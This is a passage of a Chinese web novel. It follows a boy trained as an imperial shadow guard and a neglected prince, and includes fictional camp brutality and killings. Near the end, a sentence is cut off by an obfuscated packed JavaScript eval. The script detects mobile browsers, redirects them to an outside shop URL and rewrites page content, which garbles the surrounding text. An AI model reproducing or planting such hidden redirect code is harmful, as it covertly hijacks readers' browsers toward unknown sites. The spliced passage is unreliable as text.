小杜顿时有些心虚,黑溜溜的眼睛眨巴着:“哦,那……那个是我们教官看我机灵,讨他喜欢,所以赏赐给我的好东西。” “老大你……你也想要吗?” 顾之行跨步坐在前面的长凳上,支着一条腿,神情淡淡的,明明是个半大少年但从他身上却看不到少年的影子:“不了,既然是教头送你的,我要来作什么?” 小杜听了,明显松了一口气,又恢复平时笑嘻嘻的样子:“对了,昨晚话本子上的故事还没讲完,你现在想听吗?” “褚帅生擒哈达儿部将领的故事?” “是啊,老大我看你好像很感兴趣,别的不说,我肚子里的话本子可是要多少有多少,就算没有的我也可以给你现场编一个。” 顾之行其实不太感兴趣,但还未开口,刚刚摔了个屁股蹲的大志,就推开门喊道:“老大,教头让我们现在集合,我们赶快过去吧,如果去晚了肯定会受罚……” 在见到小杜后,表情瞬间惊讶:“小杜,你怎么在这儿,你……你不是……咳……” 大志还没说完,就被小杜一个锁喉堵住了接下来的话。 小杜把比自己的体格子还大一倍的大志往外拖,一边拖,一边还不忘提醒:“老大,大志都这样说了,我们还是赶紧走吧。” “……” 顾之行看了一眼杂物,心下奇怪,但转念一想小杜平时表现的确很讨教头喜爱,教头心情好时也会赏赐点好东西给他们,就未放在心。 却不知,这次小杜说谎了,那东西是他偷来的,没过多久就被人发现捅了出去。 教头大怒,不顾他人的求情,把小杜扒光衣裤,用一根粗绳吊挂在屋檐上打了三天三夜,打得身上血淋淋的没一块好皮,整个人奄奄一息,俨然不省人事一只脚跨过鬼门关了。 就算这样,教头也严禁其他人小杜喂吃的或者上药,任由他自生自灭。 可不知是不是小杜命不该绝,他还是靠着顾之行他们偷偷摸摸的救济活了下来…… 当然这是后话了。 现在,顾之行迈步跨过门槛,耳边响起的不知是哪户人家放鞭炮的声响。 雪天一片,前面的两个少年已经打闹起来,就这也没忘记招手催促他跟上来。 * 宣德八年,夏,羌胡不知从哪里得到信息,得知褚元帅带病重,羌族首领的孙子弥且孛扎亲率十万大军进攻沙洲,一连攻下沙洲周边三座城池。 褚帅带病迎战,可这场战役没有给大梁带来胜利,燕山军败了…… 敌军坑杀八万将士,那场战役异常惨烈,几乎无人生还,褚帅更是被敌军将领一刀斩下首级,一代枭雄就此陨落…… 消息传回朝廷,举国震惊,还不等众人从哀恸中缓过神来,胡羌乘虚而入,加速反攻沙洲,不过几日就夺了数十座城池,沙洲,济州,兖州等地沦陷……羌胡大军直指阎都! 幸而远在千里之外蕃西地区的魏西军得到消息,则是昼夜不息赶赴救援。 一只由陆思臣将军带领的先锋军先行赶到,一口气都没喘,利用夜色奇袭羌胡部队,又与仍在奋勇抗战的守城军联手血战十天十夜才大败羌胡大军,阻止了敌军继续南下的步伐。 可因我方将士损失惨重,再加上魏西军千里奔赴日夜兼程人累马乏,一时竟无再反攻的力量。 前线战事停滞不前,军饷粮草的需求与日俱增,国家一下子财务负担加重,让本就不富裕的国库直接出现了赤字,导致朝中大部分官员的议和声越来越大。 而大量流民因敌军南下烧杀抢掠而流离失所,他们被迫背井离乡,有些在流氓途中饿死病死;有些则落草为寇,踩着他人血骨来换自己的生存:有些足够幸运的,就跟着人群逃难来到了阎都…… * 九月重阳,阎都,满城花开,桂花十里铺地,各色花朵也珍奇斗艳。街上几乎人人头戴簪花,赏菊饮菊,登高望远是这一天的特色节目。 只可惜城外有流民逃窜,除了几个带府兵的世家可以出城游山玩水,平头百姓也只能登城里最高的“五岳楼”来过过瘾。 一时间“五岳楼”的最高楼层被炒上天价,非达官显贵,有人脉者不得上去。 茶楼里,众人品着菊茶,听着台上的说书声,叹息起来:“唉,当今世上真是不太平,听我当捕快的妹夫说,昨晚临县又遭到流民进屋抢劫,还闹出个一条人命,真是吓死了。” 百姓乙附和着:“唉,话说圣上打算怎么安置这些流民啊?总不能一直不管吧,我现在都不敢出城看望亲戚了,万一被那些流民劫持杀害,真是哭都来不及……” 百姓甲:“谁知道呢,褚帅死得那么……圣上听后罢朝到今日才上朝。” 听了一耳朵的百姓丙凑过来:“一代将领落得个这样的下场……当真是凄惨啊,遥想当年,褚帅是何等的意气风发,令人崇拜……周边部族没有一个不敬畏他的。” 这一番感慨下来,成功把旁边的人带进悲伤中,好半天才缓过神来:“唉,你们说失去的十三州还有夺回来的可能性吗?” 百姓甲一拍桌子,不管三七二十一就胡乱应答:“肯定能啊,就那些蛮夷怎么可能是我国将士的对手!” 百姓丁:“哎,可我怎么听说,圣上已经下诏和羌西,胡部他们议和,以幽州为边界线,以北的十三州归他们并免去朝贡,但他们要保证二十年不再进犯大梁?” 此话一出,众人皆是一阵沉默。 * 繁华热闹的街头,一位少年混迹在人群,和悠闲说笑的人们不同,他一身劲装玄衣,既不簪花也不登高,反而步履匆匆地向城门口走去。 不为其他,今天是他家人的祭日,他要出城祭拜…… 其实训练营规矩森严,更禁止他们和外界接触,无论有什么原因。 教头的原话是:“你们进了这训练营,就等于把命卖到了这儿,你们的生死去留就由不得你们做主,所以我要提醒你们,最好忘记自己的过去,别想着逃出去,否则抓到以后,后果自负!” 这话成功让一些心思浮动的人绝了念头,可顾之行还是一意孤行偷跑出来了。 虽然有小杜他们帮忙遮掩,但他还要抓紧回去,避免发生意外。 他摸了摸怀里的纸钱,发现自己忘记买柴火,脚尖一转,正打算回去,迎面就撞上了个什么东西。 顾之行身形未动,低头一看是个八九岁的小孩,但他还有事要做,顾不上其他,只看了一眼,抬脚就走,然后就被什么东西 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男孩一时竟有些看呆了,他忘记了刚刚自己的行为,只顾着盯着顾之行瞧:“美人哥哥,我们,我们之前认识吗?” 顾之行看他一眼:“没有。” 顾之行记性一向很好,若是见过男孩,一定会记住,毕竟男孩就长了双让人忘不掉的双眸。 见终于可以摆脱小男孩了,顾之行半点不带犹豫的,站起身,转头就走。 刚走几步,却又被什么东西扯住了衣角,低头看,还是那个小男孩…… 顾之行吸气,知道这男孩是彻底赖上她了,一字一句道:“……我没钱。” “没事,我有。” “……” 顾之行:“松手。” 小男孩又不说话了,只眼巴巴地看着他。 “……” 没得到回应,顾之行又实在不会哄人,耐心也终于告罄,刚要发火。 小男孩从怀中掏出一块玉珏:“我可以给你钱,不过你要带我玩。” 顾之行跟着义父的那几年也见过不少好东西,自然知道这玉珏价值连城,它虽样式质朴,却光泽温润,荧光流转间不含一丝杂质,仅一块就够普通人半辈子的生存了。 顾之行眸色微动,显然是被这玉珏吸引了。 他跟着顾宏之那几年,别得没学会,却学会了商人见钱眼开的性子。 不过话又说回来,谁不爱钱呢! 而且他现在又甩不开男孩,还不能动粗,不然男孩一嚷嚷就一定会引起骚扰,一个衣着寒酸的少年当街殴打锦衣男孩,应该会被当成是“暴民动乱”就地打死…… 顾之行仅仅犹豫了那么一会儿就把玉珏收入囊中,就这还不忘威胁:“我可以带你玩,不过你要听我的话,否则我就把你丢了。” 男孩却笑了,红色瞳孔闪烁着奇异光芒,像是怕顾之行会反悔似的,他急忙应下:“好。” 说着就又伸手去拽顾之行的衣角。 顾之行:“……” 由于在这浪费了一些时间,顾之行接下来的行程有些赶。 幸好这小少爷见什么都觉得新鲜好奇,也任由他折腾。 6. 流民 由于流民流窜,不仅城内戒严,时不时就有禁卫军巡逻,城门的守军比平时增加了一倍多,还设下路障。 受此影响,出城的只有三三两两的百姓,反观进城的却排了一长串的队伍。 是出城容易,进城难。 顾之行从怀里掏出伪造的通行证给其中一名守城卫,那名守城卫懒散的靠在墙上,不知道是不是因为看他们还是个孩子不当回事;还是其他什么原因。 连通行证接都没接就挥手让他们出去了。 顺利通过,顾之行松了一口气,和男孩走向郊外。 前夜下雨,郊外的小道都是泥泞路,几乎是走一路陷一路,没一会儿男孩的裤脚都是甩的泥点子,慢慢地男孩的速度就慢了下来。 顾之行要停下来等他跟上才能继续走。 在男孩又一次慢了下来后,顾之行终于又不耐烦了,可在看见男孩努力追上他的笨拙模样后,不知想到了什么,口中催促的话始终没说出口。 他默了下,蹲下身:“上来,我背你走。” 十四五的少年还在长身体,过于瘦削的脊背看着很是弱不禁风。 男孩似乎不太习惯这种亲密的行为,脸倏地红了起来,他摇头:“不……” 顾之行:“要不被丢下;要不让我背你,二选一。” “不行!” 男孩一听要被“丢下”,也不管什么三七二十一了,直接跳上背,一个锁喉差点把顾之行勒得喘不过气。 顾之行条件反射,一个过肩摔直接把男孩摔在地上。 男孩顿时疼得满地打滚,身上滚得都是泥:“呜呜疼……” “……” 顾之行看着男孩疼得发白的小脸,终于叹气了,把手伸向男孩。 * 顾之行背着男孩足尖一点,施展轻功穿梭在小路间,少年身姿轻快,如离弦之箭,一瞬息就离原处十米远。 感受着周围景物快速变化,男孩刚刚的委屈慢慢消失不见,他惊奇道:“美人哥哥,原来你会轻功?” 那是。 顾之行在武学方面是个奇才,根骨奇佳,他一开始没有用轻功,只是城内人多眼杂,他不想引人注目,现在在荒无人烟的城外,就没有那么多顾虑了。 顾之行心思都放在辨别道路上,闻言只“嗯”了一声算是答复。 少年身上本就没几两肉,背后的骨头硌得人生疼,但男孩感受着顾之行的体温,却莫名觉得很安心,好像他们很早之前就认识,所以他并没有问顾之行他们要去哪儿。 去哪儿都可以。 风将男孩额前的碎发吹起,露出光洁的额头,还有那双被视为不详的异瞳。 没一会儿顾之行的行动就慢了下来,鼻尖丝丝冒汗,他毕竟也还是个孩子,背着比他小不了多少的孩子,还是有些吃力的。 等穿过几片丛林,行过台阶后,在一处荒草顾之行就把男孩放了下来:“你在这等我,我去去就回来。” 刚转身,衣角又被抓了。 男孩似乎有些不安:“……美人哥哥,你要去哪儿?” 顾之行直接掰开男孩的手,他现在没空理睬男孩,又说了句:“在这儿等我。” 人就不见了踪影。 毕竟他没有摊开伤疤让别人瞧的习惯。 男孩手掌心突然就空了,他看着前面的空地,神色有些许茫然,突然他惨白着小脸,用力捂住自己的脑袋,倒在地上蜷缩着身体:“痛,好痛……谁,谁来帮帮我……” 谁都好,只要能帮我…… 无人回答。 * 顾之行一人迈过荒草丛,走向那处废墟,大片焦黑的地方,昭示着前不久发生的悲惨遭遇,大火把周围几乎都付之一炬,只剩下几根残缺的柱子顽强地屹立着。 顾之行走向自己建的衣冠冢,跪下,用手在坟前挖了一个坑,点火把纸钱放进去,火舔舐着纸钱,不一会儿一缕缕黑烟冒出。 少年紧抿着唇,绷得笔直的脊背终于塌了下来,肩膀微颤。 半响,风中似有一人哭泣呢喃:“爹,娘,义父……为什么?为什么死的是你们?” 秋意萧瑟,无人回答。 在一片荒地中,少年的背影显得格外伶仃孤独。 天色渐晚,少年依然跪着,没有要起身的意思。 突然一道突兀的声音打破了这平静:“哈哈哈,老大,看我抓到了什么?一个小孩,正好煮了给我们哥几个补补身体……哟,这里还有个小美人!” 一个络腮胡黑脸大汉,单手拎着男孩的胳膊,从丛林里走出来,一看见顾之行就两眼放光。 另一个刀疤脸大汉,身后跟着几个人皆手持弯刀,一脸凶悍。 顾之行站起身,眼尾还泛着红,可神色冷漠,看不出有半点情绪波动。 他目光蜻蜓点水般落在男孩身上,又移开。 刀疤脸笑道:“老二你没看出他是个男的吗?” “哈哈哈,老大你不懂,有时候男的玩起来才更有意思啊!” “瞧你这点出息。” 刀疤脸慢悠悠地上前,似乎认定了顾之行是他们的囊中之物,所以并不着急动武:“喂,小孩你怎么在这里,你家里人呢?” 顾之行不语,他目光一一扫过众人,手摸向腰间的匕首,刀刃出鞘,他横刀先前,一跃而起,刀尖闪烁寒光。 风吹过树梢,只听刚刚的还嘚瑟的络腮胡惨叫着捂住胳膊,上面赫然插着一把匕首。 这一切发生的太快,众人还来不及反应,顾之行就回到原地,怀里抱着男孩。 男孩似乎受到了什么刺激,一直紧闭双眼,脸色苍白,冷汗连连,还喊着:“好疼,头好疼。” 顾之行低头:“他们伤你了?” 男孩听到顾之行的声音,勉强睁开眼睛,明明泪水都在眼眶打转,却又睁着眼睛死命憋着,无比倔强。 顾之行叹气:“哭什么?别人怎么伤你的,你就怎么伤回去!以牙还牙以眼还眼。” 以牙还牙以眼还眼…… 男孩默念着,抬头望向顾之行。 “他奶奶的,这小子竟然还是个练家子的。” 刀疤脸横刀向前,作防备的姿态,这下不敢轻视顾之行了。 “艹泥马,这小子下手真他娘的狠,老大我们一起上,我就不相信弄不死这小子!” 络腮胡被伤得激起了血性,说着率先冲了上去。 剩下的人也只好拔刀,冲上前。 但少年身形诡谲多变,一时间他们竟近不了他的身。 几个大汉不过是在逃难途中杀过几个人,而且杀得还都是手无缚鸡之力的百姓,靠 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只至于他在多年后都无法忘记少年那惊艳的身法。 碰到了硬茬,刀疤脸暗骂一声:“撤!” 几人转身没入林子里。 顾之行见他们都走了,才慢慢放松紧绷的身体,转身向男孩看去:“你没事吧?” 男孩摇头,刚刚的头痛症状已经过去了,只是脸色还是异常惨白,但眸子却在看向旁边的尸体后闪烁着某种兴奋地光芒,不过在接触到顾之行的伤口时,又被担忧之色淹盖。 “美人哥哥,你流了好多血,怎么办?你要死了吗,我,我可以帮你做什么?” 顾之行正撕下一块布料准备简单的进行止血包扎,闻言脸色更差了:“别叫我美人哥哥。” “……那我可以喊你什么?” “只要别叫……” 话还没说完,就被打断。 “那我就喊你哥哥?因为我连一个哥哥都没有……” 顾之行并不真的想在这和男孩争辩称呼,只道:“……随便。” 简单包扎好伤口,顾之行抬脚就走,天色渐晚,不宜在山上久留。 男孩紧随其后:“哥哥,等我。” * 下山路虽然容易,但因为顾之行受伤了,所以耗费的时间也不短。 中间男孩因为脚滑摔下山去,幸好顾之行眼疾手快及时兜住他,才没有造成更多的伤势。 但还是把男孩吓得不轻,一直在哭。 顾之行不会哄人,就随手摘了一朵不知名的红色小花送给男孩。 男孩接下红花,抽泣地问:“哥哥为什么要送我花?” 顾之行瞟了眼男孩的瞳孔,随口扯谎“……和你的眼睛很配。” 男孩瞬间不哭了,他有些惊喜道:“真的吗?哥哥觉得我眼睛很漂亮吗?” “……嗯。” 听到肯定的答复,男孩直接扑向顾之行,把头埋在他的怀里,语气上扬:“哥哥,你真好,你是这世上第一个夸我眼睛漂亮的人。” 顾之行感受着男孩的温度,却怀疑自己今天是不是诸事不宜,不然怎么碰见这么难缠的小家伙,还受伤了。 他想:或许自己不该接下那块玉珏。 7. 皇宫 到达城门口时,正赶上守城军放最后一波人进城,顾之行背着男孩跟随在队伍的最末尾,随着队伍缓慢前行。 守城军拦住一名男子细细盘问,手却已经伸出,意思很明显,要收过路费。 男人很有眼色奉上碎银,没过问几句就被放进来了。 轮到顾之行时,守城军如法炮制,伸手要钱,顾之行从怀里掏出银两和通行证一并递过去,守城军用手掂了下银两,抬头见他们年纪小便问:“进城做什么?” 顾之行早就想好说辞:“父母在城里。” “那为什么出城?又是何时出的城?” “祭奠祖父,今日辰时出的门。” “那你们父母怎么不去祭拜?反而让你们小孩去?” 顾之行侧腰的伤口又裂开了,玄色衣服被血染深,他只好换了个站姿,仍是平静模样:“父母病重,出不了远门,所以才让我们兄弟二人去。” 这话让男孩眼中闪过诧异,他转头去看顾之行,就算知道是假的,但他依然还是很开心,他把头埋进顾之行的脖颈处,整个人透露出依赖。 眼看着盘问不出什么,出城时间又对得上守城军就直接放他们进去了。 办完事,顾之行进城后的第一件事就是和男孩分道扬镳。 男孩却又抓住顾之行的衣角,眼神充满期冀:“哥哥,我们以后还可以再见面吗?” “……” 不会。 顾之行看着男孩的眼睛,说出口的话却是:“或许吧。” 天色已晚,家家户户的烟囱升起一缕缕白烟,街上行人稀少,要到宵禁的时刻了。 宵禁时刻,任何人不得在外逗留。 男孩却并不急着分别,他因为顾之行那“或许吧”三个字而无比欣喜,因为这意味他还能再见到这个哥哥:“哥哥我叫李泽桉,李泽桉的李,李泽桉的泽,李泽桉的桉。” 顾之行已转身。 “哥哥,我以后就在这里等你,你一定要过来找我啊!” 孩子般的开心声音回荡在傍晚中,激得在屋檐上站立休息的乌鸦拍打着翅膀飞向远方。 顾之行始终没有回头,那时他以为他们如这世上多数人一样只是蜻蜓点水般擦肩而过,之后再无交集。 * 顾之行悄无声息地翻过院墙,刚落地,一道人影就从后方假山传出来:“老大,你终于回来了!” 顾之行回头:“嗯,有事发生吗?” 大志摇头:“没有,老大你猜得真准,今日重阳,总教头去过节了,其他不能出去过节的教头们本身就心有怨言,所以他们今天非常怠工,连名都没点,只顾着聚在一起喝酒,叫我们自己训练,不过幸好你回来的及时,因为今晚要加练,你赶快去换衣服吧。” 顾之行点头,抬脚就往屋里赶:“好。” “等等老大,你受伤了?” 大志看着地上的点点血迹,惊讶出声。 络腮胡下手很狠,所以顾之行的伤口有点深,再加上他又是背人,又是施展轻功的,这伤口不但没好反而更加严重了。 顾之行唇上已没有什么血色,但他只道:“没事,就遇到点小麻烦,已经解决了。” 大志却露出担忧神色:“……” 事实证明大志的担忧是真的,当晚的加练由于顾之行因状态不佳,被教头发现他受伤一事,一番盘问,终于还是有人招了。 顾之行受到了很严重的刑罚——仗刑一百。 顾之行都不知道自己是怎么撑过去的,只记得自己意识模糊间,总教头在一旁悠悠提醒:“顾之行,你应该庆幸是你的天赋救了你一命,否则你现在早就被拖出去喂狗了。” “记住,没有下一次,否则就没有今天这么幸运了。” 他又转其他人:“你们也听清楚了没有!” “听清楚了!” * 皇宫里,无人在意的角落,李泽桉从狗洞爬进来,初时的锦衣已不见,取而代之的粗布,再加上在外面待了一天,他整个人都灰扑扑的。 李泽桉却并不在意,他小心翼翼地把怀里护着的红花拿出来,见花没有受损才松了一口气。 他穿过重重宫墙,路过的宦官宫女皆是步履匆匆,今日不但宫外热闹,宫里更是鼓乐喧天。 当今最受宠的三皇子——圣上的第二个儿子的百日宴,宫里自然要大办特办,所以就算与永安殿相隔甚远,李泽桉还能听见百戏的锣鼓声。 而这一切都与他没有关系。 李泽桉捧着唯一一个属于自己的东西,刚踏进寝殿,前方熟悉的抱怨声就响起了。 “哎呦,小殿下,您跑到哪里去了?奴婢们可一直在找您!” 李泽桉看着向自己奔来的乳母,面无表情。 她也不管李泽桉的情绪怎么样,一把拽住李泽桉的胳膊就往里拖,后面跟着几名宦官宫女,却无一人敢出声阻止。 “好了,我们快进去吧,您今天是不是又没有喝药?因为您的不听话,还到处乱跑,我们所有人都要放下手中的活找你,这耽误了多少事你知道吗?小殿下?” “幸好没有冲撞到昭仪娘娘,昭仪娘娘刚刚诞下三皇子,正得圣宠,所以您以后就算再不喜喝药,也别到处乱跑了,否则你冲撞到不该冲撞的人,又该被罚了……” 李泽桉被拽得一个趔趄,被迫跟着她的步伐走,突然他用力挣扎起来,几乎对着她拳头脚踢:“别碰我!你不过是个下贱的奴婢,谁给你的胆子,敢这样对待我!” 她被迫松开了手,不过对于李泽桉这样的虚张声势她已经习惯了,一个没有母妃又不受待见的皇子,跟打入冷宫的妃子有何不同? 从他出生起,和圣上见面的次数就屈指可数。 念及此,她笑道:“我们是下贱的坯子,比不得殿下,可殿下如此尊贵的人,不应该说那样的话,唉,总归是出生时便没了母亲,也没人能管教……” 李泽桉慢慢握紧拳头:“……” 她毫不在意地对众人使了个眼色,意思是要让他们去拿汤药,她要现在就喂李泽桉服下。 夜晚的冷风将庭院里的池水掀起波澜,落叶簌簌落下,李泽桉警惕地盯着她,如一只完全炸毛的猫。 “你想要干什么?” “奴婢能想干什么?自然是伺候殿下喝药。” 她笑了下,目光落在李泽桉身上,粗眉瞬间皱起:“殿下您的衣服怎么脏成这样?真是一点都不知道爱惜,您能穿的衣服本来就不多……” 说着,不顾李泽桉反抗,就走上前要给李泽桉脱衣 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当李泽桉宫殿里的宫人听到呼叫声赶过来时,就看见这样一幕:嬷嬷在池中拼命地挣扎呼救,而小殿下却蹲在地上,对着一朵已经烂掉的花喃喃自语。 “哥哥,对不起,我没有保护好你送给我的花,你会怪我吗?” 最终李泽桉的乳母没有被救回来,他宫里的几个宫人都不会泅水,再加上李泽桉的宫殿很偏僻,平时都没有几个人路过,自然就错过了最佳救援时间。 索性一个不受宠的皇子死了个乳母,也不是什么大事,他们只通知了家人让他们把尸体抬回去安葬,顺便给了点银两堵住嘴。 而从这时候起,就有宫人开始传,大皇子疯了…… * 宣德八年,同月,由于多处匪患严重,流民落草为寇,不但侵扰百姓还隐隐形成和朝廷对抗的势力。 圣上当即颁布诏书,实行仁政,不但让沿途的各府官员设立“安乐府”来安置百姓并对那些匪患实行招安,而且只要他们有意愿归降朝廷,朝廷不但不会追究还会分给他们一块荒地,助他们开垦,且所种粮食皆是自己的。 这一政策暂时缓解了流民和匪患问题。 而随诏书颁布的还有一份和亲旨意,圣上唯一的妹妹——清和长公主,将于次年前往羌胡部落和亲…… 宣德十四年,12月末,又是一年寒冬。 训练营,顾之行站在训练场上,剑尖指地,淡漠地看着前方不停爬起又摔倒的人,随后他提剑,闪身飞至那人前方,利刃照亮那人因恐惧而扭曲的脸,只听“噗呲”一声,那人都来不及出声,就倒地不起了。 顾之行一剑结束了这毫无悬念的战斗,飞溅的血滴染红了他的眼尾。 负责善后的人很及时地把尸体拖下去处理掉,为后面对决的人腾出地方。 这几年训练营一直采取的就是这种生死淘汰制,训练不合格的,死;对决输了的,死! 反正这些孩子要么是父母双亡的孤儿;要么是被父母卖到这的,根本无人去管他们的死活。 顾之行刚走下台,刚刚结束战斗的黑瘦男人就跑过来喊:“老大!你也结束了?!” “嗯。” 8. 圣上 对于顾之行冷淡的模样,小杜表示已经见惯不惯了,他自顾自地胡言乱语:“老大,我听说今天是我们在训练营里的最后一天?哎呀,总算是媳妇熬成婆,熬出头了,要是再在这待下去我肯定会疯掉。” “你可别贫了,就你那张能说会道的嘴,明明是我们所有人当中混得不错的了,我怕你都舍不得离开这个地方,退一万步说,就算你能舍得,教头们都舍不得你。” 一个又高又胖,体态憨厚的男人甩着流星锤就走过来了,还不忘损一下好友。 而他身上的未干的血迹表明他也刚结束战斗。 是的,尽管小杜幼时因为偷盗一事,受到教头的厌恶,可他那时已经受到应有的惩罚,而事情过去良久,小杜凭借着聪明儿又重新获得了教头们的喜爱。 小杜摇晃着脑袋,闻言翻着白眼:“没办法,哥就是这样,到哪儿都惹人喜欢。” 眼白比眼珠占比还大的眼睛,往上一翻,看着更加吓人。 “是是是,你最讨人喜欢。” 大志也不和他计较,附和着,一看顾之行已经走远了,忙慌道:“老大,等等我们。” 等追上顾之行,闲不下来的两人又开始比谁的武功最厉害,两人谁也不让谁,直到大志心直嘴快:“那你敢不敢和老大比?” 小杜瞪着他那双大眼睛:“那……肯定不敢,你敢吗?再说我们老大是谁啊?谁能打得过他……” 这训练营进进出出那么多人,只有顾之行屹立不倒,是令人仰望的存在。 他都无比庆幸这么多年没有和顾之行比试过,因为和他比试过的人,坟头草都长得比人还高了。 大志想了想,认同:“那到是。” 说着说着俩人就开始了胡扯,扯来扯去还扯到了小杜最近写的英雄话本子上。 大志点评:“我看你不如发展个副业,写话本子算了,肯定能大卖!” 两人在走廊里说说笑笑没个正形,直到一位老仆人走过来:“大堂里来了个贵人,总教头让我喊你们过去。” “知道了老曹!” 两人附和着。 不知为何顾之行的脑海里突然蹦出个很迷糊的身影,他喊住老曹:“你说的那个贵人长什么样?” 老曹一脸讳莫如深:“你们到了就知道了,快过去吧,就差你们了。” 几人相互对视一眼,皆不语。 训练营的所有人从小就会被洗脑,他们是为皇权而生的,自然也知道那个贵人是为何事而来,亦知道出了训练营意味着什么。 意味着要为圣上卖命。 他们就是宦官为皇权而培养的暗卫,负责暗中保护皇帝的安危,除此之外就是给皇帝办明面上不方便办的。 见不得光,亦见不得人。 顾之行等人来到大堂,发现里面无比热闹,一大批禁军手持弯刀站在两旁,上位坐着一个依然穿着寻常服饰的人,手里端着茶盏,低头喝了一口,似乎不是很合口味,就给放下来没再碰。 而向来蛮横的总教头像个老鸨似的,站在他旁边小心翼翼地陪着笑。 见他们到了,便弯腰讨好似的:“张少监,人都到齐了,您看看怎么样?” 顾之行听见他称“张少监”尘封已久的记忆才记起来,他是把自己送进训练营的人。 几年过去,这人除了眼尾的细纹多了些,几乎没有什么变化。 张少监拿细长的眼睛一一扫过站在下方的十几个人,扫过顾之行时,也没有停顿,好似不记得他这号人。 他依然笑不过眼底:“我是个门外汉不懂这些,不过鲁教头训练培养的人,自然是很好的。” 他站起身,掸了掸衣角:“时候不早了,圣上还等着我的消息,我就不便久留了。” 鲁教头闻言,哪敢真留他,连忙跟上去,用眼神示意老仆把一个长盒送到他眼前:“这个是我孝敬个少监的一点小小心意,还请少监笑纳。” 张少监拿眼去看,不但没有笑意,反而脸色一变,竖眉呵斥道:“鲁全,当今圣上最讨厌行贿之事,如你当着众人面就送我如此大礼,是想陷害我不成?还是嫌这总教头坐得不够,要进牢里坐坐?!” 张少监说得正气凛然,成功把鲁全吓得“噗通”一声跪地了,看得人咂舌。 鲁全也没想到自己有一天拍马屁能拍到马腿上,无比惶恐道:“这,这……少监明鉴,给我八百个胆子都不敢陷害您老啊,我,我是一时糊涂才……” 张少监冷眼看他,忽然一笑,俯身拍了拍鲁全的肩膀:“好了,起来吧,我也相信鲁教头的赤胆忠心,所以你这个朋友我交定了,这回我就当没看见,我们下次再聚,如何?” 重拿轻放,既表明了立场又不至于得罪他人,哪怕他只是一个小人…… “是,是……” 鲁教头被扶起,还是一副没缓过神来的样子,见张少监要走,才急忙道:“恭送少监。” 张少监走到顾之行面前停下,顾之行自然侧身后退,作辑:“恭送太监。” 张少监淡淡“嗯”了一声,被众人拥着往外走。 * 皇宫,紫宸殿,炭盆将殿里烘出一片暖意,可上方的人却依然用金雀裘皮大氅,将自己包裹得严严实实。 时不时咳嗽声就在这空旷的大殿里响起,半响,李暨:“黄忠,你去看看人回来了没有?” “哎,老奴这就去问问怎么回事?” 在旁边伺候着的黄内侍监,立马要躬身退下,一名小宦官突然跑过来附在他耳边耳语几句。 李暨轻飘飘地看过去:“怎么了?” 黄内侍监立马呵斥着:“圣上问你话呢!还不快回答!” 小宦官被呵斥的身体一颤,结结巴巴道:“张,张少监回来了。” 黄内侍监又训斥道:“真是没眼色的东西,那还不快滚下去?让他们进来!” “是是是。” 小宦官被吼得心惊胆颤,马不停蹄地滚下去传旨了。 不一会儿,张少监低头进来了,为了不惊扰圣体,他只带着一人进殿面见圣上,其余人皆在殿外等候。 “圣躬安。” 顾之行也学着张少监的模样跪下:“草民顾之行参见圣上。” “起身吧。” 李暨手拿着暖炉,在吕内侍监小心地搀扶下走了下来,正好和起身的顾之行目光对上。 这位帝王没有话本子上说得那样威严不可攀,反而像个寻常病弱之人,双颊凹陷,颧骨很高,被病痛折磨而骨瘦嶙峋的身子骨甚至连龙袍都撑不起来。 “大胆!” 随着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17517619|203234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声呵斥,还没等顾之行回神,就被张少监钳制住肩膀,又硬生生跪了下去。 黄内侍监还在怒斥:“真是反了天了,谁允许你这样直视圣上的!” 顾之行将头低下,认错:“草民只是第一次见圣上,一时被天家威严所震慑才晃了心神,请圣上恕罪!” 李暨微微眯起眼睛,他回想着刚刚顾之行的神色,眼神变得幽深,却并没有纠结顾之行的冒犯,反而问:“你说你叫顾之行?” “是。” “嗯,我在名册上看过这个名字,你是商贾之子?” “是。” 李暨不知道在想什么,随后只是拍了拍顾之行的肩膀,顾之行能闻到他身上浓重的,经年不散的药材味。 李暨:“好好做事,朕不会亏待你。” 顾之行姿态谦卑:“是。” 顾之行退了下去,张少监原本也要跟着退下去却被李暨叫住了。他手握成拳抵在唇边,咳得惊天动地,黄内侍监在旁边又是替他顺背又是递茶漱口。 好半天他才缓过来:“小张子,你们说朕花了那么多心血,以七载为期培养的这群人,真的有用吗?” 张少监无比温顺:“圣上圣明,培训之人皆是武功高强,不惧鬼神之人,自然是有用的。” “那朕终于不再惧怕梦中恶鬼,可以睡个好觉了。” * 在宫中当值的日子其实并不轻松,顾之行要日夜在暗中守着李暨,在他批阅奏折的时候,上朝的时候,还有就寝的时候…… 幸好李暨不好女色,很少去后宫,除了每月定期去看望张昭仪和二皇子外,几乎每天都睡在紫宸殿的偏殿里。 宣政殿,文武百官各站一方,吵得不可开交。 而李暨坐在龙椅上,脸色已难堪至极。 这次争吵的无非是花朝节将至,该不该在大张旗鼓的去钟南山的普陀寺庙为国祈福。 在李暨示意下主张去钟南山举行“祈福”仪式的左拾遗上前:“按照旧例,我国每年都要举行“祈福”仪式,今年自然也要做!一是祈求国运连绵;二是祈求来年风调雨顺;三是让他国民众看看我国实力!有何不可?!” 说来说去,不过空话连篇,形式主义。 而持反对意见的理由就有很多了。 太尉崔文豪年近古稀,还颤颤巍巍地拄着拐杖上前劝诫:“圣上,历览前贤国与家,成由勤俭破由奢①。如今税收严重,民众已不堪负重,再加上近几年的天灾,国库吃紧,祈福之事,还请陛下三思啊!” 句句都在戳李暨的心窝。 “太尉你大胆!” 李暨拍桌,一时急火攻心,咳嗽得越发厉害:“咳咳咳……祈,祈福乃国事,是我朝祖制,如今传到了朕这,朕难道连祭拜祈福都不可以了吗?!” “这……圣上明鉴,老臣绝无此意啊!” 崔文豪立马颤巍巍地跪在地上,上一秒还说着没有这个意思,下一秒就细数祈福之事为何做不得:“只是一来祈福圣上要吃斋念佛,静坐半月,我们打扰不得,朝廷政务就没了决策,各项政策也就推行不了。” “二来牵一发而动全身,圣上迁居,可谓是大事,各项安排处处都要使银子,可如今……国库实在无甚银子啊!” 